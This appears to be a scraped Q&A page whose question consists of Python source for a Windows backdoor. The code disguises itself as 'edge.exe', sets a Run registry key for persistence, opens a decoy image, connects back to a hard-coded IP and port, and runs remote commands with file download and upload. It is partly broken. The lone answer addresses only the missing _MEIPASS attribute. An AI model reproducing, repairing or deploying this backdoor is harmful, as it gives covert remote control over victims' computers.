0
#client side 
import socket
import subprocess
import json
import os
import base64
import sys
import shutil

class Backdoor:
    def __init__(self, ip, port):
        self.presistence()
        self.connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.connection.connect((ip,port))
    def presistence(self):
        virus_file_location =os.environ["appdata"]+"\\edge.exe"
        if not os.path.exists(virus_file_location):
            shutil.copyfile(sys.executable,virus_file_location)
            subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v tata /t REG_SZ /d "' + virus_file_location +'" ',shell=True)

    def execute_command(self, command):
        NULL = open(os.devnull,'wb')
        return subprocess.check_output(command,shell =True, stderr=NULL, stdin=NULL)

    def box_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(b"json_data")

    def change_directory(self, path):
        os.chdir(path)
        return "[+] changing directory to "+path

    def box_receive(self):
        json_data = " "
        while True:
            try:
                json_data = json_data + str(self.connection.recv(1024))
                return json.loads(json_data)
            except ValueError:
                continue

    def read_file(self,path):
        with open(path,"rb") as file:
            return base64.b64decode(file.read())

    def write_file(self,file_name,content):
        with open(file_name,"wb") as file:
            return "[+] upload successful"

    def run(self):
        while True:
            command = self.box_receive()
            try:
                if command[0] =="exit":
                    self.connection.close()
                    sys.exit()
                elif command[0] == "cd" and len(command) >1:
                    command_result = self.change_directory(command[1])
                elif command[0] =="download":
                    command_result = self.read_file(command[1])
                elif command[0] == "upload":
                    command_result = self.write_file(command[1],command[2])
                else:
                    command_result = self.execute_command(command)
            except Exception:
                command_result = "[+] Error while running this command"
                self.box_send(command_result)

file_name = sys._MEIPASS + "/sample.jpg"
subprocess.Popen(file_name, shell=True)

try:
    backdoor = Backdoor("192.168.2.112", 4444)
    backdoor.run()
except Exception:
    sys.exit()
Allan Wind
  • 23,068
  • 5
  • 28
  • 38

1 Answers1

0

You import the module sys, then try to reference a non-existing attribute called _MEIPASS with:

file_name = sys._MEIPASS + "/sample.jpg"
Allan Wind
  • 23,068
  • 5
  • 28
  • 38